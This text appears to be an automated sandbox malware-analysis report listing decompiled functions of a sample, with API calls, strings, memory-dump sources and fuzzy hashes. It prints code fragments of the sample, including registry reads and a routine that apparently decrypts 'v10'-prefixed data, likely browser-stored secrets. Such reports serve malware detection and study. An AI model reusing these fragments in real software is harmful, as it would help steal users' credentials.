Instruction Fuzzy Hash: 13310AB4A04209EFDB24DF98C895BEEB7B5FF49310F108158E915AB390C774AA51CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00636B40, Relevance: 9.1, APIs: 6, Instructions: 75timestringCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?,?,00000104), ref: 00636BC1
lstrcat.KERNEL32(?,0041A60C), ref: 00636BD5
sscanf.NTDLL ref: 00636C13
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00636C27
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00636C38
ExitProcess.KERNEL32 ref: 00636C52

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: Time$System$File$ExitProcesslstrcatsscanf
String ID:
API String ID: 2797641603-0
Opcode ID: c61bb436b804f0d06a8e2a80b3f30031f21c3dbbfd9811cb7010ad7d772f11a9
Instruction ID: 6149418f821c528c3ebebd7acd398b43790d18f8343aec0d9c1285d10d1c2221
Opcode Fuzzy Hash: c61bb436b804f0d06a8e2a80b3f30031f21c3dbbfd9811cb7010ad7d772f11a9
Instruction Fuzzy Hash: 8631E072D1121CABCB54DF94DD85ADEB7B9AF48300F0085EAE149A2150EB345B94CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00642340, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 131COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,?,?,?,?,?,00642D2E,?,?), ref: 006423B8
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00642D2E), ref: 0064240A

Strings

.-d, xrefs: 0064246E, 006424C3, 00642471

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: FilePointer
String ID: .-d
API String ID: 973152223-2808565078
Opcode ID: bd9446f4783b8dd7e6d95fa0f5fa15532bd816b395c3834064200ff55a53ee91
Instruction ID: 6e72633e1c7c6c10d4fb3a07d468c5e4a8b5d78a1b69a03295c42d4e2cc4021e
Opcode Fuzzy Hash: bd9446f4783b8dd7e6d95fa0f5fa15532bd816b395c3834064200ff55a53ee91
Instruction Fuzzy Hash: 8D51C5749002099FDB04DFA8C894BEEBBF5BB4C304F24C259E825AB391D775A945CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00642000, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

new[].LIBCMTD ref: 00642060
memcpy.NTDLL(00000000,?,000000FF,?,00642AED,?,000000FF,?,00004000), ref: 0064208C
memcpy.NTDLL(?,00004000,000000FF,?,00642AED,?,000000FF,?,00004000), ref: 0064211D

Strings

*d, xrefs: 0064206E

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: memcpy$new[]
String ID: *d
API String ID: 3541104900-3246783989
Opcode ID: 3f6ea1475b6a799feff947736ee965e7d5baee5b117e73dbe9ef4aba49eea13c
Instruction ID: f698f269be5708f8b8457628060a9c6976a9f5c5c0fc263c15744b8c04d28892
Opcode Fuzzy Hash: 3f6ea1475b6a799feff947736ee965e7d5baee5b117e73dbe9ef4aba49eea13c
Instruction Fuzzy Hash: 0051CFB4A0020ADFCB44CF98C495EAEBBB6FF48314F608159EA059B745C731E991CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00435CE7, Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 00435F15
__aulldiv.LIBCMT ref: 00435F37

Strings

', xrefs: 00435CE7
0, xrefs: 00435D03
9, xrefs: 00435F48

Memory Dump Source

Source File: 00000012.00000002.778659627.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_42e000_CFE8.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: '$0$9
API String ID: 3839614884-269856862
Opcode ID: 6f2de3667855a1732d2b83b5020b044b1ddeceeaf4e51dcc5021ca9846e72658
Instruction ID: 5f7902f6b6a565b0c9fdb2894272bc6c1460f1797034db2f0726375a71018f70
Opcode Fuzzy Hash: 6f2de3667855a1732d2b83b5020b044b1ddeceeaf4e51dcc5021ca9846e72658
Instruction Fuzzy Hash: C941E471D15629DFEB24CF58C88ABAEB7B5BB48304F2495DAE409A7240C7389E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACE0, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 33
memorytimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040ACE0() {
				struct _SYSTEMTIME _v20;
				void* _v24;

				_v24 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				GetLocalTime( &_v20);
				wsprintfA(_v24, "%d/%d/%d %d:%d:%d", _v20.wDay & 0x0000ffff, _v20.wMonth & 0x0000ffff, _v20.wYear & 0x0000ffff, _v20.wHour & 0x0000ffff, _v20.wMinute & 0x0000ffff, _v20.wSecond & 0x0000ffff);
				return _v24;
			}

0x0040acfa
0x0040ad01
0x0040ad2e
0x0040ad3d

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040ACED
RtlAllocateHeap.NTDLL(00000000), ref: 0040ACF4
GetLocalTime.KERNEL32(?,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040AD01
wsprintfA.USER32 ref: 0040AD2E

Strings

%d/%d/%d %d:%d:%d, xrefs: 0040AD25

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID: %d/%d/%d %d:%d:%d
API String ID: 377395780-1073349071
Opcode ID: 8e285d3c0eb36019000bcc5d6a07b144cb12c9e005f16ceaedbebfc32425e432
Instruction ID: d54db4264a189618d18ac0c6d63712439e5e5702a0e8137862d75125f6334758
Opcode Fuzzy Hash: 8e285d3c0eb36019000bcc5d6a07b144cb12c9e005f16ceaedbebfc32425e432
Instruction Fuzzy Hash: 2FF06DB5800118BBCB10DBE99D489FFB3B8BF0CB02F00415AFA41A1180E6388A90D776

Uniqueness

Uniqueness Score: -1.00%

Function 00404970, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33
stringnetworkCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E00404970(void* __ecx, void* __eflags, char* _a4) {
				intOrPtr _v56;
				char* _v60;
				char _v64;
				char _v132;

				E0040B720( &_v132, 0x40);
				E0040B720( &_v64, 0x3c);
				_v64 = 0x3c;
				_v60 =  &_v132;
				_v56 = 0x40;
				_push( &_v64);
				if(InternetCrackUrlA(_a4,  *0x41a908(), _a4, 0x10000000) == 0) {
					return 0x418b7c;
				}
				return _v60;
			}

0x0040497f
0x0040498a
0x0040498f
0x00404999
0x0040499c
0x004049a6
0x004049c3
0x00000000
0x004049cc
0x00000000

APIs

lstrlen.KERNEL32(?,10000000,0000003C,?,0000003C,?,00000040), ref: 004049B0
InternetCrackUrlA.WININET(?,00000000), ref: 004049BB

Strings

http, xrefs: 004049CC
@, xrefs: 0040499C
<, xrefs: 0040498F

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: CrackInternetlstrlen
String ID: <$@$http
API String ID: 1274457161-26727890
Opcode ID: 953279faeda4fbfed10a865a9ed3943784a545a7601c943f1e9572a566367c12
Instruction ID: e6804194f0461931acba1e2b3008128b19c1605eb91d96f529587f083f9a09b0
Opcode Fuzzy Hash: 953279faeda4fbfed10a865a9ed3943784a545a7601c943f1e9572a566367c12
Instruction Fuzzy Hash: 84F012F590020CABDB04DFA5E885FEE7B7CEB44344F008529FA04AB190DB78A5448B99

Uniqueness

Uniqueness Score: -1.00%

Function 0063AF30, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 33memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00635A0A), ref: 0063AF3D
RtlAllocateHeap.NTDLL(00000000), ref: 0063AF44
GetLocalTime.KERNEL32(?,?,?,?,?,00635A0A), ref: 0063AF51
wsprintfA.USER32 ref: 0063AF7E

Strings

Zc, xrefs: 0063AF57, 0063AF5B

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID: Zc
API String ID: 377395780-1715067384
Opcode ID: 8e285d3c0eb36019000bcc5d6a07b144cb12c9e005f16ceaedbebfc32425e432
Instruction ID: d54db4264a189618d18ac0c6d63712439e5e5702a0e8137862d75125f6334758
Opcode Fuzzy Hash: 8e285d3c0eb36019000bcc5d6a07b144cb12c9e005f16ceaedbebfc32425e432
Instruction Fuzzy Hash: 2FF06DB5800118BBCB10DBE99D489FFB3B8BF0CB02F00415AFA41A1180E6388A90D776

Uniqueness

Uniqueness Score: -1.00%

Function 00634BC0, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,10000000,0000003C,?,0000003C,?,00000040), ref: 00634C00
InternetCrackUrlA.WININET(?,00000000), ref: 00634C0B

Strings

<, xrefs: 00634BDF
http, xrefs: 00634C1C
@, xrefs: 00634BEC

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: CrackInternetlstrlen
String ID: <$@$http
API String ID: 1274457161-26727890
Opcode ID: 6422e5e96578678ae9ecef98c78aa7527ca494f69da9eb8f7ec7ae06e64f97c9
Instruction ID: 85303ed6182fc78a58455717196416774bca4e3be95918d234713b965acd902a
Opcode Fuzzy Hash: 6422e5e96578678ae9ecef98c78aa7527ca494f69da9eb8f7ec7ae06e64f97c9
Instruction Fuzzy Hash: 50F0B2B590120CABDB14EFE4E885FDDB7BDAB44340F009518FA04AA190DF74E5448B95

Uniqueness

Uniqueness Score: -1.00%

Function 00411B30, Relevance: 7.7, APIs: 5, Instructions: 156
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411B30(intOrPtr __ecx, signed int _a4, long _a8, intOrPtr _a12) {
				long _v8;
				void* _v12;
				signed int _v16;
				long _v20;
				intOrPtr _v24;
				intOrPtr _t90;
				intOrPtr _t112;
				intOrPtr _t136;
				intOrPtr _t141;

				_v24 = __ecx;
				if( *(_v24 + 4) != 0 ||  *(_v24 + 0xc) != 0 ||  *((intOrPtr*)(_v24 + 0x20)) != 0 ||  *((intOrPtr*)(_v24 + 0x18)) != 0 ||  *((intOrPtr*)(_v24 + 0x14)) != 0 || ( *(_v24 + 0x2c) & 0x000000ff) != 0) {
					return 0x1000000;
				} else {
					__eflags = _a12 - 1;
					if(_a12 != 1) {
						__eflags = _a12 - 2;
						if(__eflags != 0) {
							__eflags = _a12 - 3;
							if(_a12 != 3) {
								return 0x10000;
							}
							_v20 = _a8;
							__eflags = _v20;
							if(_v20 != 0) {
								__eflags = _a4;
								if(_a4 == 0) {
									 *(_v24 + 0xc) = CreateFileMappingW(0xffffffff, 0, 4, 0, _v20, 0);
									_t90 = _v24;
									__eflags =  *(_t90 + 0xc);
									if( *(_t90 + 0xc) != 0) {
										 *((intOrPtr*)(_v24 + 0x20)) = MapViewOfFile( *(_v24 + 0xc), 0xf001f, 0, 0, _v20);
										_t136 = _v24;
										__eflags =  *(_t136 + 0x20);
										if( *(_t136 + 0x20) != 0) {
											L25:
											 *((char*)(_v24 + 0x1c)) = 1;
											 *(_v24 + 0x24) = 0;
											 *(_v24 + 0x28) = _v20;
											return 0;
										}
										CloseHandle( *(_v24 + 0xc));
										 *(_v24 + 0xc) = 0;
										return 0x300;
									}
									return 0x300;
								}
								 *((intOrPtr*)(_v24 + 0x20)) = _a4;
								goto L25;
							}
							return 0x30000;
						}
						_v16 = _a4;
						 *(_v24 + 4) = CreateFileW(E0040B5C0(__eflags, _v16), 0x40000000, 0, 0, 2, 0x80, 0);
						_t141 = _v24;
						__eflags =  *((intOrPtr*)(_t141 + 4)) - 0xffffffff;
						if( *((intOrPtr*)(_t141 + 4)) != 0xffffffff) {
							 *((char*)(_v24 + 0x1c)) = 1;
							 *(_v24 + 0x10) = 0;
							 *((char*)(_v24 + 8)) = 1;
							return 0;
						}
						 *(_v24 + 4) = 0;
						return 0x200;
					}
					_v12 = _a4;
					 *(_v24 + 4) = _v12;
					 *((char*)(_v24 + 8)) = 0;
					_v8 = SetFilePointer( *(_v24 + 4), 0, 0, 1);
					__eflags = _v8 - 0xffffffff;
					 *((char*)(_v24 + 0x1c)) = 0 | _v8 != 0xffffffff;
					_t112 = _v24;
					__eflags =  *(_t112 + 0x1c) & 0x000000ff;
					if(( *(_t112 + 0x1c) & 0x000000ff) == 0) {
						 *(_v24 + 0x10) = 0;
					} else {
						 *(_v24 + 0x10) = _v8;
					}
					return 0;
				}
			}

0x00411b36
0x00411b40
0x00000000
0x00411b7b
0x00411b7b
0x00411b7f
0x00411be8
0x00411bec
0x00411c60
0x00411c64
0x00000000
0x00411d22
0x00411c6d
0x00411c70
0x00411c74
0x00411c80
0x00411c84
0x00411ca8
0x00411cab
0x00411cae
0x00411cb2
0x00411cd8
0x00411cdb
0x00411cde
0x00411ce2
0x00411d02
0x00411d05
0x00411d0c
0x00411d19
0x00000000
0x00411d1c
0x00411ceb
0x00411cf4
0x00000000
0x00411cfb
0x00000000
0x00411cb4
0x00411c8c
0x00000000
0x00411c8c
0x00000000
0x00411c76
0x00411bf1
0x00411c1c
0x00411c1f
0x00411c22
0x00411c26
0x00411c3f
0x00411c46
0x00411c50
0x00000000
0x00411c54
0x00411c2b
0x00000000
0x00411c32
0x00411b84
0x00411b8d
0x00411b93
0x00411baa
0x00411baf
0x00411bb9
0x00411bbc
0x00411bc3
0x00411bc5
0x00411bd5
0x00411bc7
0x00411bcd
0x00411bcd
0x00000000
0x00411bdc

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 00411BA4

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 9f40ca25f5a3ec3b26c5a317c37b390bac11bb664fe97661c3bbb8a15347b8b4
Instruction ID: 4806281024cf892df001f217e22b508f46e279854f8b30cdef803a4c5b02db50
Opcode Fuzzy Hash: 9f40ca25f5a3ec3b26c5a317c37b390bac11bb664fe97661c3bbb8a15347b8b4
Instruction Fuzzy Hash: 49611BB4A0020ADFEB14CF54D585BAEB7B1BB04315F208259E9156B3D1D378EE81CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00641D80, Relevance: 7.7, APIs: 5, Instructions: 156COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 00641DF4

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 71429949b35bca6c2b28703409f240b6d994fc7f714cc6e6faf466484dc4969f
Instruction ID: cd54a5f85612633437096bcf8bc2044f1f83f2c06afd710d4fb149d65e1a96d9
Opcode Fuzzy Hash: 71429949b35bca6c2b28703409f240b6d994fc7f714cc6e6faf466484dc4969f
Instruction Fuzzy Hash: 0A61F9B4A0020ADFDB54CF54C544BAAB7F2BB09314F208659E915AF381C774EE86CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00407230, Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 104
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 24%

			E00407230(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				void _v76;
				long _v80;
				void* _v84;
				int _v88;
				char _v5092;
				void* _t58;
				void* _t94;

				E004139B0(0x13e0, __ecx);
				if(_a8 < 3) {
					L10:
					return E00407190(_a4, _a8);
				}
				asm("repe cmpsb");
				if(0 != 0) {
					goto L10;
				}
				if(((0 | _a12 != 0x00000000) & (0 | _a16 != 0x00000000)) == 0) {
					return 0x4191a0;
				}
				memset( &_v76, 0, 0x40);
				_v76 = 0x40;
				_v72 = 1;
				_v68 = _a4 + 3;
				_v64 = 0xc;
				_v52 = _v68 + _a8 - 0x13;
				_v48 = 0x10;
				_v80 = _a8 - 3 - _v64 - _v48;
				_t58 = LocalAlloc(0x40, _v80);
				_v84 = _t58;
				if(_v84 == 0) {
					return _t58;
				}
				_v88 = 0;
				_v8 =  *0x41aa60(_a16, _v68 + _v64, _v80,  &_v76, 0, 0, _v84, _v80,  &_v88, 0);
				if(_v8 < 0) {
					return 0x4191a0;
				}
				E0040B720( &_v5092, 0x1388);
				 *0x41aa24( &_v5092, _v84);
				 *((char*)(_t94 + _v88 - 0x13e0)) = 0;
				return  &_v5092;
			}

0x00407238
0x00407243
0x00407364
0x00000000
0x00407371
0x00407258
0x0040725a
0x00000000
0x00000000
0x00407274
0x00000000
0x0040735b
0x00407282
0x0040728a
0x00407291
0x0040729e
0x004072a1
0x004072b2
0x004072b5
0x004072c8
0x004072d1
0x004072d7
0x004072de
0x00000000
0x00407359
0x004072e0
0x00407312
0x00407319
0x00000000
0x00407352
0x00407327
0x00407337
0x00407340
0x00000000

APIs

memset.MSVCRT ref: 00407282
LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
lstrcat.KERNEL32(?,00000000), ref: 00407337

Strings

@, xrefs: 0040728A
v10, xrefs: 0040724E

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: AllocLocallstrcatmemset
String ID: @$v10
API String ID: 4123878530-24753345
Opcode ID: 1d3fa7b3dbb26fb9b049f7610d81cb1348bb2620b3692f3626651eae948cc07e
Instruction ID: 61f64e7557948a46b50732eb2c11968d7e6d1a4f1abee3a4cf4d88c7128a29d2
Opcode Fuzzy Hash: 1d3fa7b3dbb26fb9b049f7610d81cb1348bb2620b3692f3626651eae948cc07e
Instruction Fuzzy Hash: D24150B1E04208EBEB14CFD4D884BDEB7B4FF48344F048169F905AB284D778AA45DB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00637480, Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 104memorystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 006374D2
LocalAlloc.KERNEL32(00000040,?), ref: 00637521
lstrcat.KERNEL32(?,00000000), ref: 00637587

Strings

v10, xrefs: 0063749E
@, xrefs: 006374DA

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: AllocLocallstrcatmemset
String ID: @$v10
API String ID: 4123878530-24753345
Opcode ID: d133a81001bef52ef4905997addc9da99a5f8824d4606433a0d426c6760a33b5
Instruction ID: f17d8135057acfa479536792970e26d46190bfedf99732766135b69719976aa3
Opcode Fuzzy Hash: d133a81001bef52ef4905997addc9da99a5f8824d4606433a0d426c6760a33b5
Instruction Fuzzy Hash: 00415CB1A04218EBDB18CFD4D884BEDB7B5FF48351F108159F505AB280DB74AA45CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040B5C0, Relevance: 7.6, APIs: 5, Instructions: 50
stringCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E0040B5C0(void* __eflags, char* _a4) {
				int _v8;
				int _v12;
				int _v16;
				void* _t50;

				_t50 = __eflags;
				_v12 = MultiByteToWideChar(0, 0, _a4,  *0x41a908(0), _a4, 0);
				_v16 = E0040B590( ~(0 | _t50 > 0x00000000) | (_v12 + 0x00000001) * 0x00000002,  ~(0 | _t50 > 0x00000000) | (_v12 + 0x00000001) * 0x00000002);
				_v8 = _v16;
				MultiByteToWideChar(0, 0, _a4,  *0x41a908(_v12), _a4, _v8);
				 *((short*)(_v8 + _v12 * 2)) = 0;
				return _v8;
			}

0x0040b5c0
0x0040b5e3
0x0040b605
0x0040b60b
0x0040b629
0x0040b637
0x0040b641

APIs

lstrlen.KERNEL32(00000080,00000000,00000000,00000002,00000080,00000000), ref: 0040B5CE
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000), ref: 0040B5DD
new[].LIBCMTD ref: 0040B5FD
lstrlen.KERNEL32(?,?,?), ref: 0040B61A
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000), ref: 0040B629

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen$new[]
String ID:
API String ID: 4156461339-0
Opcode ID: bcc2d0ee6c9e6d66abe1afca29a4e1eb62fb6bff9411518d967b05a7183445a3
Instruction ID: 4e01539bb3d2c282a73af516c558e114f3eec2120aea2764bae626352bcff954
Opcode Fuzzy Hash: bcc2d0ee6c9e6d66abe1afca29a4e1eb62fb6bff9411518d967b05a7183445a3
Instruction Fuzzy Hash: 000104B5A01108BFDB44DFA8DD46F9E7BB8EF4C304F108158F509DB290D671AA518B55

Uniqueness

Uniqueness Score: -1.00%

Function 0063B810, Relevance: 7.6, APIs: 5, Instructions: 50stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,00000000,00000003,00000000,00000000,?), ref: 0063B81E
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000), ref: 0063B82D
new[].LIBCMTD ref: 0063B84D
lstrlen.KERNEL32(?,?,?), ref: 0063B86A
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000), ref: 0063B879

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen$new[]
String ID:
API String ID: 4156461339-0
Opcode ID: 56f75f690b4901e2c4a4253c133e8f5cdaa2a479b23792dede6667cee38b773e
Instruction ID: 8e7c93eea8553c629cb1cd63869afcad14a4b581a18105e74d6b9ce97e57d8d3
Opcode Fuzzy Hash: 56f75f690b4901e2c4a4253c133e8f5cdaa2a479b23792dede6667cee38b773e
Instruction Fuzzy Hash: 410144B5A01108BFDB44DFA8DC46FDE7BB8EF4C300F108058F609DB290D670AA518B55

Uniqueness

Uniqueness Score: -1.00%

Function 0040B240, Relevance: 7.5, APIs: 5, Instructions: 38
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040B240() {
				void* _v8;
				int _v12;
				void* _v16;
				char* _t18;
				char* _t19;

				_v12 = 0xff;
				_v16 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 =  *0x41a610; // 0x876fc0
				if(RegOpenKeyExA(0x80000002, _t18, 0, 0x20119,  &_v8) == 0) {
					_t19 =  *0x41a1f4; // 0x879410
					RegQueryValueExA(_v8, _t19, 0, 0, _v16,  &_v12);
				}
				RegCloseKey(_v8);
				return _v16;
			}

0x0040b246
0x0040b261
0x0040b26f
0x0040b283
0x0040b291
0x0040b29c
0x0040b29c
0x0040b2a6
0x0040b2b2

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B254
RtlAllocateHeap.NTDLL(00000000), ref: 0040B25B
RegOpenKeyExA.ADVAPI32(80000002,00876FC0,00000000,00020119,?), ref: 0040B27B
RegQueryValueExA.ADVAPI32(?,00879410,00000000,00000000,?,000000FF), ref: 0040B29C
RegCloseKey.ADVAPI32(?), ref: 0040B2A6

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: fe3fb2fc6423d3235b7c17287a7d26e133f0254a975ab95cd6796d579850b6b3
Instruction ID: 923f0571c0864a17576b372675103fc2b24e7fdb5a8175b3b8f490f686ce64a9
Opcode Fuzzy Hash: fe3fb2fc6423d3235b7c17287a7d26e133f0254a975ab95cd6796d579850b6b3
Instruction Fuzzy Hash: 70013CB5A41208BBDB00DBE0DD49FEEB7B8EB48700F0085A8FA05A7291D6745A508B59

Uniqueness

Uniqueness Score: -1.00%

Function 0040B090, Relevance: 7.5, APIs: 5, Instructions: 38
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040B090() {
				void* _v8;
				int _v12;
				void* _v16;
				char* _t18;
				char* _t19;

				_v12 = 0xff;
				_v16 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 =  *0x41a3f4; // 0x87a410
				if(RegOpenKeyExA(0x80000002, _t18, 0, 0x20119,  &_v8) == 0) {
					_t19 =  *0x41a4dc; // 0x8793c8
					RegQueryValueExA(_v8, _t19, 0, 0, _v16,  &_v12);
				}
				RegCloseKey(_v8);
				return _v16;
			}

0x0040b096
0x0040b0b1
0x0040b0bf
0x0040b0d3
0x0040b0e1
0x0040b0ec
0x0040b0ec
0x0040b0f6
0x0040b102

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B0A4
RtlAllocateHeap.NTDLL(00000000), ref: 0040B0AB
RegOpenKeyExA.ADVAPI32(80000002,0087A410,00000000,00020119,?), ref: 0040B0CB
RegQueryValueExA.ADVAPI32(?,008793C8,00000000,00000000,?,000000FF), ref: 0040B0EC
RegCloseKey.ADVAPI32(?), ref: 0040B0F6

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: df4039e8785e81f7b3363609146fe50ac8c96b68d8374592efb58b1d304fb9ce
Instruction ID: f8a54f85ee1b8cfc6e3047c75a8daca849fb19f3d1c37cdae7566096d66fd71d
Opcode Fuzzy Hash: df4039e8785e81f7b3363609146fe50ac8c96b68d8374592efb58b1d304fb9ce
Instruction Fuzzy Hash: 4C014FB5A41208BFD700DFE0DD49FEEB7B8EB48700F00C568FA05A7291D6745A50CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040AF80, Relevance: 7.5, APIs: 5, Instructions: 38
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AF80() {
				void* _v8;
				int _v12;
				void* _v16;
				char* _t18;
				char* _t19;

				_v12 = 0xff;
				_v16 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 =  *0x41a1a0; // 0x8728e8
				if(RegOpenKeyExA(0x80000002, _t18, 0, 0x20119,  &_v8) == 0) {
					_t19 =  *0x41a5e4; // 0x878b18
					RegQueryValueExA(_v8, _t19, 0, 0, _v16,  &_v12);
				}
				RegCloseKey(_v8);
				return _v16;
			}

0x0040af86
0x0040afa1
0x0040afaf
0x0040afc3
0x0040afd1
0x0040afdc
0x0040afdc
0x0040afe6
0x0040aff2

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AF94
RtlAllocateHeap.NTDLL(00000000), ref: 0040AF9B
RegOpenKeyExA.ADVAPI32(80000002,008728E8,00000000,00020119,?), ref: 0040AFBB
RegQueryValueExA.ADVAPI32(?,00878B18,00000000,00000000,?,000000FF), ref: 0040AFDC
RegCloseKey.ADVAPI32(?), ref: 0040AFE6

Memory Dump Source

